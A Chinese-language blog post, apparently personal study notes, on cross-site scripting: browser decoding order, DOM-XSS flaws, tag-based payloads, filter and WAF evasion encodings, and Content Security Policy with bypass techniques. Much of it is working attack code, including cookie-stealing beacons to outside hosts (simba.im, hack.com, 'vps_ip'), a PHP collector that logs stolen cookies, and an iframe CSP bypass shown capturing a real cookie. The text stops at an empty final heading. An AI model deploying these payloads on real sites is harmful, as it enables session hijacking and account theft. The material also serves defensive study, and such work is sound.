xss漏洞

admin 2022年1月6日01:29:50评论104 views字数 24484阅读81分36秒阅读模式

XSS (Cross-Site Script, 跨站脚本)是由于 web 应用程序对用户的输入过滤不足而产生的一种漏洞。攻击者可以利用网站漏洞把恶意的脚本代码注入到网页之中,当其他用户浏览这些带有恶意代码的网页时就会执行其中的恶意代码,对受害者产生各种攻击

页面解码

详细查看此篇文章:
https://github.com/JnuSimba/MiscSecNotes/blob/master/%E8%B7%A8%E7%AB%99%E8%84%9A%E6%9C%AC/%E8%A7%A3%E7%A0%81%E9%A1%BA%E5%BA%8F.md

解码机制

1
2
3
4
5
6
7
8
9
10
11
12
13
<script>
function HtmlEncode(str) {
var s = "";
if (str.length == 0) return "";
s = str.replace(/&/g, "&amp;");
s = s.replace(/</g, "&lt;");
s = s.replace(/>/g, "&gt;");
s = s.replace(/\"/g, "&quot;");
return s;
}
</script>
A: <input type="button" id="exec_btn" value="exec" onclick="document.write (HtmlEncode('&lt;img src=@ onerror=alert(123) /&gt;'))" /> </br>
B: <input type="button" id="exec_btn" value="exec" onclick="document.write (HtmlEncode('<img src=@ onerror=alert(123) />'))" />

上面两条的执行结果是一样的,都只是在网页中输出了<img src=@ onerror=alert(123) /> 而没有弹框, 只不过A中的js代码在执行前已经先按照html的形式解码了
xss漏洞
关键的问题是这里的js代码是出现在html标签之间的,因为嵌入到html标签中的js 代码在解析之前会先按照html规则进行自动解码,包括: 进制编码:&#xH(十六进制格式)、&#D(十进制格式)。
HTML 实体编码,下面是 html5 新增的实体编码:
&colon; => [冒号]
&NewLine; => [换行]
case: <a href="javasc&NewLine;ript&colon;alert(1)">click</a>
xss漏洞
以上是关于js在html内的解码,那么假如用户的输入后所传递的值并不是出现在html标签之内,而是出现在js中呢? 浏览器也有js的解析规则,还是举例子来说明

1
2
3
<script>
document.write('&lt;img src=@ onerror=alert(2) /&gt;');
</script>

xss漏洞
上边的例子会弹出对话框吗?是不会的,因为它出现在js代码之中,上下文环境为JavaScript,浏览器解析前会将出现在js代码中的以下内容编码进行解码
1):UniCode形式(\uH)

1
2
3
<script>
document.write('\u003Cimg src=@ onerror=alert(123) /\u003E');
</script>

xss漏洞
2):普通16进制(\xHH) 或者 8进制([0-7]{1,3})

1
2
3
<script>
document.write('\x3Cimg src=@ onerror=alert(123) /\x3E');
</script>

3)纯转义,如果用户带入js代码的内容中含有 ‘、”、< 、> 这些字符将他们进行转义是没有意义的,还是会原样的输出

1
2
3
4
5
<script>
//document.write('\<img src=@ onerror=alert(123) /\>'); //弹框
//document.write('te\'st'); //te'st
//document.write('te\"st'); //te"st
</script>

具有 HtmlEncode 功能的标签
<textarea>、<title>、<iframe>、<noscript>、<noframes>、<xmp>、<plaintext>, html 在这些标签里面是不解析的,比如 $('tt').innerHTML='<img src=@ onerror=alert(123) />',不会造成弹框。<xmp> 没有HtmlEncode 功能,<plaintext> 在 Firefox 下不会进行 HtmlEncode 编码,而在 Chrome 下面会

解码顺序

第一个例子:

1
<a href="javascript: alert('\<http://simba.cc/find?q=%E4%BD%A0%E5%A5%BD\>');">click</a>

首先进行html解码

1
<a href="javascript: alert('\<http://simba.cc/find?q=%E4%BD%A0%E5%A5%BD\>');">click</a>

点击链接后,先是 URL 解码,结果为(假设是 style 属性,则会执行 css 解码)

1
<a href="javascript: alert('\<http://simba.cc/find?q=你好\>');">click</a>

最后是 JS 解码,结果为

1
<a href="javascript: alert('<http://simba.cc/find?q=你好>');">click</a>

第二个例子

1
2
3
4
5
6
7
8
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
</head>
<body>
<a href="javascript:alert('<?php echo $_GET['input'];?>');">test</a>
</body>
</html>

当参数input的值为: %26lt%5cu4e00%26gt 的时候,因为 php 使用 $_GET 获取参数值(urldecode),故返回的 html 源码是

1
href="javascript:alert('&lt\u4e00&gt');">test</a>

浏览器解析时 html 解码 为

1
<a href="javascript:alert('<\u4e00>');">test</a>

点击时进行 js 解码,故弹框为 <一>

测试样例

1.URL encoded "javascript:alert(1)"
不会触发。javascript: 是 scheme,不能进行urlencode,否则 urldecode 时出现 “no scheme” 状态。

1
<a href="%6a%61%76%61%73%63%72%69%70%74:%61%6c%65%72%74%28%31%29"></a>

2.Character entity encoded "javascript" and URL encoded "alert(2)"
触发。先进行 htmldecode,点击执行urldecode,最后执行 js

1
<a href="javascript:%61%6c%65%72%74%28%32%29">click</a>

3.URL encoded ":"
不会触发。冒号是 scheme 的一部分。

1
<a href="javascript%3aalert(3)"></a>

4.Character entity encoded < and >
不会触发。< > 是识别 tag 的开始结束符,不能进行编码

1
<div>&#60;img src=x onerror=alert(4)></div>

5.Character entity encoded < and >
如前所述,textarea 等标签内不会进行 htmldecode

1
<textarea>&#60;script>alert(5)</script></textarea>

6.不会触发。textarea 标签内不会执行 js,除非我们先把它闭合了。

1
<textarea><script>alert(6)</script></textarea>

7.Character entity encoded
触发。先进行 htmldecode,点击触发 js 事件

1
<button onclick="confirm('7');">Button</button>

8.Unicode escape sequence encoded
不会触发。’ “ ( ) 的unicode 编码形式在这里只是字符串的文本含义,并不能表示真正的引号闭合

1
<button onclick="confirm('8\u0027);">Button</button>

9.Character entity encoded alert(9);
不会触发。script 域内不会进行 htmldecode

1
<script>&#97;ler&#116(9)&#59</script>

10.Unicode Escape sequence encoded alert
触发。function name 是 identifier name,可以用unicode 方式编码

1
2
3
4
5
<script>\u0061\u006c\u0065\u0072\u0074(10);</script>

<div><a href="javascript:\u0061lert('1\x62')">ga</a></div>

<img src="x" onerror="\u0061\u006c\u0065\u0072\u0074(1)">

11.Unicode Escape sequence encoded alert(11)
不会触发。同问题2

1
<script>\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0031\u0029</script>

12 Unicode Escape sequence encoded alert and 12
不会触发。unicode 编码的 1, 2 在这里不能表示成字符串,因为它们不是被包裹在 ‘ “ 中

1
<script>\u0061\u006c\u0065\u0072\u0074(\u0031\u0032)</script>

可以触发的三个

1
2
3
<script>\u0061\u006c\u0065\u0072\u0074('\u0031\u0032')</script>
<script>\u0061\u006c\u0065\u0072\u0074(/\u0031\u0032/)</script>
<script>\u0061\u006c\u0065\u0072\u0074(12)</script>

13.Unicode escape sequence encoded '
不会触发。同问题2

1
<script>alert('13\u0027)</script>

14.Unicode escape sequence encoded line feed.
触发。unicode 编码的换行符在这里并不会真正地换行而导致js 语法错误,而是普通的文本含义

1
<script>alert('14\u000a')</script>

反射性

https://github.com/JnuSimba/MiscSecNotes/blob/master/%E8%B7%A8%E7%AB%99%E8%84%9A%E6%9C%AC/%E5%8F%8D%E5%B0%84XSS.md

存储型

可以看此文章:
https://github.com/JnuSimba/MiscSecNotes/blob/master/%E8%B7%A8%E7%AB%99%E8%84%9A%E6%9C%AC/%E5%AD%98%E5%82%A8XSS.md

XSS 盲打后台

js弹cookie代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
(function() {
(new Image()).src='http://simba.im/js/xss.php?cookie='+
escape(
(function() {
try {
return document.cookie
} catch (e) {
return ''
}
})()
)+'&location='+
escape(
(function() {
try {
return document.location.href
} catch (e) {
return ''
}
})()
);
})();

服务器接收代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
if(isset($_REQUEST['cookie']) && isset($_REQUEST['location']))
{
$cookie = $_REQUEST['cookie'];
$location = $_REQUEST['location'];
$stri = "<td>".date(DATE_ATOM)."</td><td>Cookie:".$cookie."</td><td>Location:".$location."</td>";
$fp = file_put_contents("xss.txt", $stri."\n", FILE_APPEND);
}

$fp = file_get_contents("xss.txt");
$data = (explode("\n", $fp));
echo "<table bode=\"1\">";
foreach($data as $key => $value)
{
if ($value == "")
{
continue;
}
echo "<tr><td>".($key)."</td>".$value."</tr>";
}
echo "</table>";
?>

DOM型

在前端实现页面跳转

使用indexOf判断URL参数是否合法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function emptyFn(){}
function init(){
var jump = getQueryString('jump');
jump = decodeURIComponent(jump);
if (jump && jump.indexOf("tmast://") > -1) {
jump = jump;
} else {
jump = "tmast://found";
}
setTimeout(function(){
window.JSBReady(function(readyState) {
if (readyState) {
jsb('closeWebView',0,'emptyFn',{});
}
});
},1000);
location.href=jump;
}
init();

传入javascript:alert(1);//tmast://

正则表达式缺陷

示例缺陷代码 [1]:

1
2
3
4
5
function VaildURL(sUrl)
{
return (/(https?:\/\/)?[\w\-.]+\.(qq|paipai|soso|taotao)\.com($|\/|\\)/i).test(sUrl)||
(/^[\w][\w\/\.\-_%]+$/i).test(sUrl)||(/^[\/\\][^\/\\]/i).test(sUrl) ? true : false;
}

示例缺陷代码 [2]:

1
2
3
4
5
6
7
8
9
10
11
12
if(typeof(pgvMain) == 'function') {
pgvMain();
}

var durl = window.location.search.substr(6);

var refer = document.referrer;
if(/house.qq.com/.test(refer) || refer == ''){
setTimeout(function(){
window.location.replace(durl);
}, 2000);
}

神奇的符号 ^,加上和不加上,过滤的效果具有天壤之别。攻击者仍然可以构造 javascript:alert(1);//http://www.qq.com来绕过看似严格的过滤

取值写入页面或动态执行

URL中的取参数值写入页面或动态执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function getParameter(name){
var r = new RegExp("(\\?|#|&)" + name + "=([^&#]*)(&|#|$)"),
m = location.href.match(r);
return (!m ? "" : m[2]);
}

addEvent(window, "load", init);
function init(){
var msg=getParameter("msg");
if(msg=="")msg="服务器忙,请您稍候再试"
else msg=unescape(msg);
var div=document.getElementById("info");
if(div) div.innerHTML=msg;

}

构造

1
http://xxx.com/xxx.htm#msg=<img/src=x onerror=alert(1)>

Cookie取参数值写入页面或动态执行

示例缺陷代码[1]:

1
2
3
4
5
6
7
8
9
function goto_adtag_url(url, type) {
var userInfo = getCookie(COOKIE_USERINFO);
userInfo = decodeURIComponent(userInfo);
if (userInfo != '') {
userInfo = userInfo.replace(/</g, '\\<');
userInfo = userInfo.replace(/>/g, '\\>');
userInfo = eval('(' + userInfo + ')');
}
}

示例缺陷代码[2]:

1
2
3
4
5
6
7
function getISP(){var _ptisp = getCookie("ptisp");
var isp = _ptisp ? (_ptisp + ".") : "";
return isp;
}
window.isp = getISP();
window.mainPath = "http://" + window.isp + "qzs.qq.com";
window.filePath = "http://" + window.isp + "i.gtimg.cn";

localStorage、Referer、Window name、SessionStorage

1
2
3
4
5
6
7
8
9
10
11
12
13
var payload = window.name;

setTimeout(function() {
trigger(window.name);
}, 1);
var div = document.createElement('div');
document.documentElement.appendChild(div);

div.innerHTML = payload;

function trigger(payload) {
div.innerHTML = payload;
};

构造

1
<iframe src='http://localhost/domxss_47/index.php' name='<svg/onload=alert(1)>'></iframe>

修复

写入页面前先转义。在取值写入页面或动态执行的业务场景下,在将各种来源获取到的参数值传入JavaScript“三姐妹”函数(innerHTML、document.write、eval)处理前,对传入数据中的HTML特殊字符进行转义处理能防止大部分DOM-XSS的产生。此外,根据不同业务的真实情况,还应使用正则表达式,针对传入的数据做更严格的过滤限制,才能保证万无一失

1
2
3
4
5
6
7
8
9
10
11
function htmlEscape(str) {
return str
.replace(/&/g, '&amp;')
.replace(/"/g, '&quot;')
.replace(/'/g, ''')
.replace(/</g, '&lt;')
.replace(/>/g, '&gt;');
}

Value = htmlEscape(value);
div.innerHTML = value;

慎用危险的“eval”。需要强调的是,由于JavaScript中的eval函数十分灵活,能够支持执行的字符串编码纷繁复杂。强烈建议,不到万不得已,不要使用eval函数处理不可控的外部数据
看下边的示例:

1
2
3
4
5
6
<script>eval(unescape("%64%6f...."));</script>
在JavaScript 中可以直接通过eval 执行的字符串有八进制和十六进制 两种编码方式
<script>eval("\141\154\145\162\164\50\47\u4f60\u597d\47\51");</script>
<script>eval("\x61\x6c\x65\x72\x74\x28\x27\u4f60\u597d\x27\x29");</script>
另外,虽然十进制不能直接通过 eval 来执行,但可以用 String.fromCharCode 函数先对数值进行解码,然后传递给 eval 执行
<script>eval(String.fromCharCode(97, 108, 101, ...));</script>

标签利用

img

1
2
3
4
5
6
7
8
xss利用方式1(推荐)
<script>document.body.appendChild(document.createElement('img')).setAttribute('src','http://www.hack.com/cookie.php?cookie='+document.cookie); </script>
XSS利用方式2
<img src="x" onerror=alert(1)>
<img src="1" onerror=eval("alert('xss')")>

XSS利用方式3
<img src=1onmouseover=alert('xss')>

a

1
2
3
4
5
6
7
8
9
10
11
12
13
<a href="javascript:alert('xss')">aa</a>
<a href=javascript:eval(alert('xss'))>aa</a>
<a href="javascript:aaa"onmouseover="alert(/xss/)">aa</a>

XSS利用方式2
<script>alert('xss')</script>
<a href=""onclick=alert('xss')>aa</a>

利用方式3
<a href=""onclick=eval(alert('xss'))>aa</a>

利用方式4
<a href=kycg.asp?ttt=1000 onmouseover=prompt('xss') y=2016>aa</a>

input

1
2
3
4
5
6
7
8
9
10
11
标准格式
<input name="name" value="">

利用方式1
<input value="" onclick=alert('xss') type="text">

利用方式2
<input name="name" value="" onmouseover=prompt('xss') bad="">

利用方式4
<input name="name" value=""><script>alert('xss')</script>

form

1
2
3
<form><button formaction=javascript:alert(21)>M
<form/action=javascript:alert(22)><input/type=submit>
<form onsubmit=alert(23)><button>M

iframe

1
2
3
4
<iframe onload=alert("xss");></iframe> 
<iframe src=javascript:alert('xss'); height=5 width=10 /><iframe>

<iframe src="javascript&colon;prompt&lpar;`xss`&rpar;"></iframe>

svg

1
<svg onload=alert(1)>

detail

1
<details ontoggle="alert('xss');">

select

1
<select onfocus=alert(1)></select>

video

1
<video><source onerror="alert(1)">

audio

1
<audio src=x  onerror=alert("xss");>

body

1
<body/onload=alert("xss");>

textarea

1
<textarea onfocus=alert("xss"); autofocus>

keygen

1
<keygen autofocus onfocus=alert(1)>

过滤绕过

过滤空格

用/代替空格

1
<img/src="x"/onerror=alert("xss");>

过滤关键字

大小写绕过

1
<ImG sRc=x onerRor=alert("xss");>

双写关键字

有些waf可能会只替换一次且是替换为空,这种情况下我们可以考虑双写关键字绕过

1
<imimgg srsrcc=x onerror=alert("xss");>

字符拼接

利用eval

1
<img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">

利用top

1
<script>top["al"+"ert"](`xss`);</script>

其它字符混淆

有的waf可能是用正则表达式去检测是否有xss攻击,如果我们能fuzz出正则的规则,则我们就可以使用其它字符去混淆我们注入的代码了
下面举几个简单的例子

1
2
3
4
可利用注释、标签的优先级等
1.<<script>alert("xss");//<</script>
2.<title><img src=</title>><img src=x onerror="alert(`xss`);"> //因为title标签的优先级比img的高,所以会先闭合title,从而导致前面的img标签无效
3.<SCRIPT>var a="\\";alert("xss");//";</SCRIPT>

编码绕过

Unicode编码绕过

1
2
3
<img src="x" onerror="alert("xss");">

<img src="x" onerror="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')">

url编码绕过

1
2
<img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))">
<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>

Ascii码绕过

1
<img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">

hex绕过

1
<img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>

八进制

1
<img src=x onerror=alert('\170\163\163')>

base64绕过

1
2
<img src="x" onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))">
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">

过滤双引号,单引号

1.如果是html标签中,我们可以不用引号。如果是在js中,我们可以用反引号代替单双引号

1
<img src="x" onerror=alert(`xss`);>

2.使用编码绕过,具体看上面我列举的例子,我就不多赘述了

过滤括号

当括号被过滤的时候可以使用throw来绕过

1
<svg/onload="window.onerror=eval;throw'=alert\x281\x29';">

过滤url地址

使用url编码

1
<img src="x" onerror=document.location=`http://%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d/`>

使用IP

1.十进制IP

1
<img src="x" onerror=document.location=`http://2130706433/`>

2.八进制IP

1
<img src="x" onerror=document.location=`http://0177.0.0.01/`>

3.hex

1
<img src="x" onerror=document.location=`http://0x7f.0x0.0x0.0x1/`>

4.html标签中用//可以代替http://

1
<img src="x" onerror=document.location=`//www.baidu.com`>

5.使用\\

但是要注意在windows下\本身就有特殊用途,是一个path 的写法,所以\\在Windows下是file协议,在linux下才会是当前域的协议

6.使用中文逗号代替英文逗号
如果你在你在域名中输入中文句号浏览器会自动转化成英文的逗号

1
<img src="x" onerror="document.location=`http://www。baidu。com`">//会自动跳转到百度

CSP

Content Security Policy 入门教程
内容安全策略(CSP),CSP 的实质就是白名单制度,开发者明确告诉客户端,哪些外部资源可以加载和执行,等同于提供白名单。它的实现和执行全部由浏览器完成,开发者只需提供配置。

CSP启用方法

一种是通过 HTTP 头信息的Content-Security-Policy的字段

1
2
Content-Security-Policy: script-src 'self'; object-src 'none';
style-src cdn.example.org third-party.org; child-src https:

另一种是通过网页的标签

1
<meta http-equiv="Content-Security-Policy" content="script-src 'self'; object-src 'none'; style-src cdn.example.org third-party.org; child-src https:">

上面代码中,CSP 做了如下配置。

1
2
3
4
5
脚本:只信任当前域名
<object>标签:不信任任何URL,即不加载任何资源
样式表:只信任cdn.example.org和third-party.org
框架(frame):必须使用HTTPS协议加载
其他资源:没有限制

启用后,不符合 CSP 的外部资源就会被阻止加载

限制选项

资源加载限制
以下选项限制各类资源的加载。

1
2
3
4
5
6
7
8
9
10
11
script-src:外部脚本
style-src:样式表
img-src:图像
media-src:媒体文件(音频和视频)
font-src:字体文件
object-src:插件(比如 Flash)
child-src:框架
frame-ancestors:嵌入的外部资源(比如<frame>、<iframe>、<embed>和<applet>)
connect-src:HTTP 连接(通过 XHR、WebSockets、EventSource等)
worker-src:worker脚本
manifest-src:manifest 文件

*default-src *
default-src用来设置上面各个选项的默认值。

1
Content-Security-Policy: default-src 'self'

上面代码限制所有的外部资源,都只能从当前域名加载。

如果同时设置某个单项限制(比如font-src)和default-src,前者会覆盖后者,即字体文件会采用font-src的值,其他资源依然采用default-src的值。

URL 限制
有时,网页会跟其他 URL 发生联系,这时也可以加以限制。

1
2
3
frame-ancestors:限制嵌入框架的网页
base-uri:限制<base#href>
form-action:限制<form#action>

其他限制
其他一些安全相关的功能,也放在了 CSP 里面。

1
2
3
4
block-all-mixed-content:HTTPS 网页不得加载 HTTP 资源(浏览器已经默认开启)
upgrade-insecure-requests:自动将网页上所有加载外部资源的 HTTP 链接换成 HTTPS 协议
plugin-types:限制可以使用的插件格式
sandbox:浏览器行为的限制,比如不能有弹出窗口等。

report-uri
有时,我们不仅希望防止 XSS,还希望记录此类行为。report-uri就用来告诉浏览器,应该把注入行为报告给哪个网址。

1
Content-Security-Policy: default-src 'self'; ...; report-uri /my_amazing_csp_report_parser;

上面代码指定,将注入行为报告给/my_amazing_csp_report_parser这个 URL。

Content-Security-Policy-Report-Only

除了Content-Security-Policy,还有一个Content-Security-Policy-Report-Only字段,表示不执行限制选项,只是记录违反限制的行为。

它必须与report-uri选项配合使用。

1
Content-Security-Policy-Report-Only: default-src 'self'; ...; report-uri /my_amazing_csp_report_parser;

选项值

每个限制选项可以设置以下几种值,这些值就构成了白名单。

1
2
3
4
5
6
主机名:example.org,https://example.com:443
路径名:example.org/resources/js/
通配符:*.example.org,*://*.example.com:*(表示任意协议、任意子域名、任意端口)
协议名:https:、data:
关键字'self':当前域名,需要加引号
关键字'none':禁止加载任何外部资源,需要加引号

多个值也可以并列,用空格分隔。

1
Content-Security-Policy: script-src 'self' https://apis.google.com

如果同一个限制选项使用多次,只有第一次会生效。

1
2
3
4
5
# 错误的写法
script-src https://host1.com; script-src https://host2.com
# 正确的写法
script-src https://host1.com https://host2.com
如果不设置某个限制选项,就是默认允许任何

script-src 的特殊值

除了常规值,script-src还可以设置一些特殊值。注意,下面这些值都必须放在单引号里面。

1
2
3
4
'unsafe-inline':允许执行页面内嵌的<script>标签和事件监听函数
unsafe-eval:允许将字符串当作代码执行,比如使用eval、setTimeout、setInterval和Function等函数。
nonce值:每次HTTP回应给出一个授权token,页面内嵌脚本必须有这个token,才会执行
hash值:列出允许执行的脚本代码的Hash值,页面内嵌脚本的哈希值只有吻合的情况下,才能执行。

nonce值的例子如下,服务器发送网页的时候,告诉浏览器一个随机生成的token。

1
Content-Security-Policy: script-src 'nonce-EDNnf03nceIOfn39fn3e9h3sdfa'

页面内嵌脚本,必须有这个token才能执行。

1
2
3
<script nonce=EDNnf03nceIOfn39fn3e9h3sdfa>
// some code
</script>

hash值的例子如下,服务器给出一个允许执行的代码的hash值。

1
Content-Security-Policy: script-src 'sha256-qznLcsROx4GACP2dm0UCKCzCG-HiZ1guq6ZZDob_Tng='

下面的代码就会允许执行,因为hash值相符。

1
<script>alert('Hello, world.');</script>

注意,计算hash值的时候,<script>标签不算在内。

除了script-src选项,nonce值和hash值还可以用在style-src选项,控制页面内嵌的样式表。

注意点

(1)script-src和object-src是必设的,除非设置了default-src。

因为攻击者只要能注入脚本,其他限制都可以规避。而object-src必设是因为 Flash 里面可以执行外部脚本。

(2)script-src不能使用unsafe-inline关键字(除非伴随一个nonce值),也不能允许设置data:URL。

下面是两个恶意攻击的例子。

1
2
<img src="x" onerror="evil()">
<script src="data:text/javascript,evil()"></script>

(3)必须特别注意 JSONP 的回调函数。

1
2
3
<script
src="/path/jsonp?callback=alert(document.domain)//">
</script>

上面的代码中,虽然加载的脚本来自当前域名,但是通过改写回调函数,攻击者依然可以执行恶意代码。

csp 绕过

location绕过

大部分情况,csp不会限制跳转,CSP如果限制跳转会影响很多的网站功能;或者是script-src ‘unsafe-inline’;这条规则。
这个地方可以用location跳转:location.href(window.location/window.open)绕过

1
127.0.0.1/csp/?url=<script>location.href='vpsip/cookie/'%2bescape(document.cookie);</script>

利用条件:

  • 可以执行任意JS脚本,但是由于CSP无法数据带外
  • csp为script-src ‘unsafe-inline’;

link标签导致的绕过

这个方法其实比较老,去年我在我机器上试的时候还行,现在就不行了
因为这个标签当时还没有被CSP约束,当然现在浏览器大部分都约束了此标签,但是老浏览器应该还是可行的。
所以我们可以通过此标签将数据带外

1
2
3
4
5
<!-- firefox -->
<link rel="dns-prefetch" href="//${cookie}.vps_ip">

<!-- chrome -->
<link rel="prefetch" href="//vps_ip?${cookie}">

当然这个是我们写死的标签,如何把数据带外?

1
2
3
4
var link = document.createElement("link");
link.setAttribute("rel", "prefetch");
link.setAttribute("href", "//vps_ip/?" + document.cookie);
document.head.appendChild(link);

这样就可以把cookie带外了

利用条件:

  • 可以执行任意JS脚本,但是由于CSP无法数据带外

Iframe绕过

当一个同源站点,同时存在两个页面,其中一个有CSP保护的A页面,另一个没有CSP保护B页面,那么如果B页面存在XSS漏洞,我们可以直接在B页面新建iframe用javascript直接操作A页面的dom,可以说A页面的CSP防护完全失效。

A页面
safe.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<!--safe.php-->
<?php
if (!isset($_COOKIE['ye1s'])) {
setcookie('ye1s',md5(rand(0,1000)));
}
header("Content-Security-Policy: default-src 'self';");
?>
<!DOCTYPE html>
<html>
<head>
<title>CSP</title>
</head>
<body>
<h2>CSP-safe</h2>
</body>
</html>

B页面
index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
<!DOCTYPE html>
<html>
<head>
<title>CSP Test</title>
</head>
<body>
<h2>index</h2>
<?php
if (isset($_GET['ye1s'])) {
echo "Your GET content:".@$_GET['ye1s'];
}//
?>
</body>

这里可以在index页面新建iframe用javascript直接操作safe页面的dom:

1
2
3
4
5
6
7
8
<?php
$sc="<script>
var iframe = document.createElement('iframe');
iframe.src=\"./safe.php\";
document.body.appendChild(iframe);
setTimeout(()=>location.href='http://vpsip:12345/?cookie='+escape(document.cookie),1000);
</script>";
echo urlencode($sc);

vps监听

1
2
3
4
5
$ php -S 0.0.0.0:12345
Listening on http://0.0.0.0:12345
Press Ctrl-C to quit.
[Wed Jun 30 09:41:27 2021] 221.224.30.130:3837 [404]: / - No such file or directory
[Wed Jun 30 09:41:47 2021] 221.224.30.130:2637 [404]: /?cookie=ye1s%3D98dce83da57b0395e163467c9dae521b - No such file or directory

利用条件:

  • 一个同源站点内存在两个页面,一个页面存在CSP保护,另一个页面没有CSP保护且存在XSS漏洞

CDN绕过

一般来说,前端会用到许多的前端框架和库,部分企业为了减轻服务器压力或者其他原因,可能会引用其他CDN上的JS框架,如果CDN上存在一些低版本的框架,就可能存在绕过CSP的风险
这里给出orange师傅绕hackmd CSP的文章Hackmd XSS
案例中hackmd中CSP引用了cloudflare.com CDN服务,于是orange师傅采用了低版本的angular js模板注入来绕过CSP,如下

1
2
3
4
5
6
7
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'unsafe-eval' https://cdnjs.cloudflare.com;">
<!-- foo="-->
<script src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.min.js>
</script>
<div ng-app>
{{constructor.constructor('alert(document.cookie)')()}}
</div>

这个是存在低版本angular js的cdn服务商列表
https://github.com/google/csp-evaluator/blob/master/whitelist_bypasses/angular.js
除了低版本angular js的模板注入,还有许多库可以绕过CSP
下面引用https://www.jianshu.com/p/f1de775bc43e
如果用了Jquery-mobile库,且CSP中包含”script-src ‘unsafe-eval’”或者”script-src ‘strict-dynamic’”,可以用此exp

1
<div data-role=popup id='<script>alert(1)</script>'></div>

还比如RCTF2018题目出现的AMP库,下面的标签可以获取名字为FLAG的cookie

1
<amp-pixel src="http://your domain/?cid=CLIENT_ID(FLAG)"></amp-pixel>

blackhat2017有篇ppt总结了可以被用来绕过CSP的一些JS库
https://www.blackhat.com/docs/us-17/thursday/us-17-Lekies-Dont-Trust-The-DOM-Bypassing-XSS-Mitigations-Via-Script-Gadgets.pdf

利用条件:

  • CDN服务商存在某些低版本的js库
  • 此CDN服务商在CSP白名单中

站点可控静态资源绕过

给一个绕过codimd的(实例)codimd xss
案例中codimd的CSP中使用了www.google-analytics.com
www.google-analytics.com 中提供了自定义javascript的功能(google会封装自定义的js,所以还需要unsafe-eval),于是可以绕过CSP

1
2
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'unsafe-eval' https://www.google-analytics.com">
<script src="https://www.google-analytics.com/gtm/js?id=GTM-PJF5W64"></script>

同理,若其他站点下提供了可控静态资源的功能,且CSP中允许了此站点,则可以采用此方式绕过

利用条件:

  • 站点存在可控静态资源
  • 站点在CSP白名单中

jsonp

大部分站点的jsonp是完全可控的,只不过有些站点会让jsonp不返回html类型防止直接的反射型XSS,但是如果将url插入到script标签中,除非设置x-content-type-options头,否者尽管返回类型不一致,浏览器依旧会当成js进行解析

利用条件:

  • 站点存在可控Jsonp
  • 站点在CSP白名单中

base-uri绕过

第一次知道base-uri绕过是RCTF 2018 rBlog的非预期解https://blog.cal1.cn/post/RCTF 2018 rBlog writeup
当服务器CSP script-src采用了nonce时,如果只设置了default-src没有额外设置base-uri,就可以使用标签使当前页面上下文为自己的vps,如果页面中的合法script标签采用了相对路径,那么最终加载的js就是针对base标签中指定url的相对路径
exp

1
2
3
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'nonce-test'">
<base href="//vps_ip/">
<script nonce='test' src="2.js"></script>

注意:如果页面的script-src不是采用的nonce而是self或者域名ip,则不能使用此方法,因为vps_ip不在csp白名单内

利用条件:

  • script-src只使用nonce
  • 没有额外设置base-uri
  • 页面引用存在相对路径的标签

不完整script标签绕过nonce

考虑下下列场景,如果存在这样场景,该怎么绕过CSP

1
2
3
4
5
6
<?php header("X-XSS-Protection:0");?>
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'nonce-xxxxx'">
<?php echo $_GET['xss']?>
<script nonce='xxxxx'>
//do some thing
</script>

如果我们输入 http://127.0.0.1/2.php?xss=<script src=data:text/plain,alert(1) 即可xss
这是因为当浏览器碰到一个左尖括号时,会变成标签开始状态,然后会一直持续到碰到右尖括号为止,在其中的数据都会被当成标签名或者属性,所以第五行的<script会变成一个属性,值为空,之后的nonce='xxxxx'会被当成我们输入的script的标签的一个属性,相当于我们盗取了合法的script标签中的nonce,于是成功绕过了scripr-src

利用条件:

  • 可控点在合法script标签上方,且其中没有其他标签
  • XSS页面的CSP script-src只采用了nonce方式

object-src绕过(PDFXSS)

假如只有这一个页面,我们能有办法执行JS吗

1
2
<meta http-equiv="Content-Security-Policy" content="script-src 'self'">
<?php echo $_GET['xss']?>

在CSP标准里面,有一个属性是object-src,它限制的是<embed> <object> <applet>标签的src,也就是插件的src
于是我们可以通过插件来执行Javascript代码,插件的js代码并不受script-src的约束
最常见的就是flash-xss,但是flash实在太老,而且我想在看的师傅们也很少会开浏览器的flash了,所以我这里也不说明了,这里主要讲之前一个提交asrc的pdf-xss为例
PDF文件中允许执行javascript脚本,但是之前浏览器的pdf解析器并不会解析pdf中的js,但是之前chrome的一次更新中突然允许加载pdf的javascript脚本

1
66<embed width="100%" height="100%" src="//vps_ip/123.pdf"></embed>

当然pdf的xss并不是为所欲为,比如pdf-xss并不能获取页面cookie,但是可以弹窗,url跳转等
具体可以看看这篇文章https://blog.csdn.net/microzone/article/details/52850623
里面有上面实例用的恶意pdf文件

当然,上面的例子并没有设置default-src,所以我们可以用外域的pdf文件,如果设置了default-src,我们必须找到一个pdf的上传点,(当然能上传的话直接访问这个pdf就能xss了2333),然后再用标签引用同域的pdf文件

利用条件:

  • 没有设置object-src,或者object-src没有设置为'none'
  • pdf用的是chrome的默认解析器

SVG绕过

